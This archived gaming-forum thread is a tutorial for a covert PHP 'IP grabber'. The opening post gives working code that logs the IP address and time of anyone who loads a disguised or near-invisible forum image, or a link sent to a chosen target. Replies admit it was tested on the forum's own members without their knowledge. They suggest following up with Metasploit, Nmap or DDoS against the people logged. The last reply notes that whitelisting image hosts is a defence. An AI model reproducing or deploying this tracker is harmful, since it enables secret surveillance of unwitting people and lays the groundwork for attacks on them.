A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

PHP IP Grabber // Image Technique

5.6k views · started by XiRaX ·
#1
PHP IP Grabber // Image Technique
This is a tutorial on how to make your own PHP IP grabber. What you can do with this is post the url to where the grabber is located wrapped in [img] tags on most forums that accept BBcode. The image is nearly invisible // easy to hide due to the fact that it shows only an approx 2 x 2 px blank box. Like this Below [center][img]http://www.google.com[/img][/center]

The Box will then LOG the IP of anyone who loads the page that it's posted on and it will be written to a txt file on your host.

// But if you want to target someone to get their IP there is the alternate Image technique which will work with the code i provide. You will have a HTML page with an Image on with, ( any image you wish ). You give the person who's IP you want the link with the image and tell them something like " LOL look at this image " . As soon as the page is loaded their IP is written to your Txt file on the host.


[u][b]How to Setup[/b][/u]

You will need to create ONE file on your host with the code below in it.
Name it Image.php or Index.php // or anything you wish.
[code]<html><head>
<title>Image</title>
</head><body>
<img src="@%@%@%@%@%@%@%@%@%">
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$time = date("Y-m-d G:i:s A");
$text = "".$time." => ".$ip."";
$file = fopen('xxloglist.txt' , 'a');
fwrite($file,$text."\n");
fclose($file);
?>
<br>
</body></html>[/code]

Where you see "@%@%@%@%@%@%@%@%@%" in the code replace that with the URL to the image you wish to get people to view for the second technique.


If you want to post the blank image wrap the URL where your index.php file is in IMG tags.

If you want to target one person using the second image technique just provide them the URL to the index.php file.


Your IP Logs will be written to a file called xxloglist.txt unless you change the write file in the code

[center][b]Questions // Concerns ..just ask.


Thank the Post <3[/b][/center][/img]
#2
I like it how you test it on us then post how you did it <3
#3
Dummy!! wrote:
I like it how you test it on us then post how you did it <3


t'was the point. To see what forums it works on.

Some forums block PHP images.
#4
XiRaX wrote:
t'was the point. To see what forums it works on.

Some forums block PHP images.


do all Vbulletin work ?
#5
Dummy!! wrote:
do all Vbulletin work ?


It depends on the settings they have on their BBcode.
I can confirm this forum, Gaia. And tons of VB and PHPBB forums.
#6
Cool I'll test it later xD
even though i don't really know what to do with their IP.
I gotta learn more IP shitzel !
#7
Dummy!! wrote:
Cool I'll test it later xD
even though i don't really know what to do with their IP.
I gotta learn more IP shitzel !


Let me know about your tests when they are done.
And plenty can be done with an IP.
#8
XiRaX wrote:
Let me know about your tests when they are done.
And plenty can be done with an IP.


Ok ;) Care to share ?
you still didn't hit me with those tools Braw.
#9
Dummy, you could Metasploit them, DDoS them, Nmap them (Pretty much what metasploit does automatically) and lots of other things.
#10
Dummy, you could Metasploit them, DDoS them, Nmap them (Pretty much what metasploit does automatically) and lots of other things.


I'll look it up ;) i'll five you a result and you tell me if it's good :P

---------- Post added at 09:04 PM ---------- Previous post was at 08:20 PM ----------

Holy moly I understood some hacking today! I can now be called cultivated :D thanks to you Fkareboy and XiRaX of course for setting this up i have everything i need to hack some one using metasploit and php IP grabbing :D thanks again ;)
#11
There's no point in disabling *.php images, because you can just as easily serve a png/jpg/gif etc. file as a PHP file. Only real way to prevent it is to whitelist the allowed image hosts.

A lot of your code is redundant, but should work.